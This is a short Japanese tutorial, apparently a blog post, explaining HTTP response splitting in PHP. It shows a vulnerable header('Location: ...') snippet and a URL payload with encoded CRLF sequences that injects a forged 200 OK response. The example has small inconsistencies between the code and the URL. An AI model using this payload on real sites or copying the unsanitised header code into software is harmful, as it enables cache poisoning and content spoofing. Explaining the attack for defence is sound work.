HTTPレスポンス分割攻撃 : PHP

Pocket

PHPではHTTPレスポンスのボディ部分のみを出力する。ヘッダ部分はWWWサーバが生成する。しかしPHPから明示的にHTTPヘッダ部分の出力を行うことができる。PHPが明示的に出力する代表的なHTTPレスポンスヘッダとしてLocationヘッダとSet-Cookieヘッダがある。

  1. Locationヘッダ
  2. Set-Cookeiヘッダ

PHPはheader関数で明示的にHTTPレスポンスヘッダを出力できる。HTTPリクエスト内にCRLFCRLF(ヘッダ終了を意味する)を混ぜるとプログラムの意図しないHTTPレスポンスのヘッダ部を出力される。

具体例

http://exsample.com/に下記のコードを持つindex.php があるとする。

if ($_GET['key']) {
    header("Location: http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'])
}

下記のURLでアクセスする。
http://somehost/index.php?somekey=%0d%0a%0d%0aHTTP%2F1.1+200+OK%0D%0ADate%3a+(日付と時刻)%0a%0dContent-Type%3a+text%2fhtml%3bcharset%3dUTF-8%0d%0aContent-Length%3a+(バイト数%0d%0a%0d%0a(偽の内容)

CR→%0d、LF→%0a、半角スペース→%20 、:→%3a、;→%3b、/→%2f

wwwサーバからのリスポンス

HTTP/1.1 301 moved permanently
・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・
Location: http://somehost/index.php?somekey=


HTTP1.1 200 OK
Date: (現在の日付と時刻)
Content-Type: text/html; charset=UTF-8
Content-Length: (偽の内容のバイト数)


(偽の内容) ← 偽のボディ部開始

$_SERVER[‘HTTP_HOST’],$_SERVER[‘PHP_SELF’]

http://exsample.com/somedir/somefile.php

$_SERVER[‘HTTP_HOST’] → exsample.com
$_SERVER[‘PHP_SELF’] → /somedir/somefile.php

コメント

No comments yet.

コメントの投稿

改行と段落タグは自動で挿入されます。
メールアドレスは表示されません。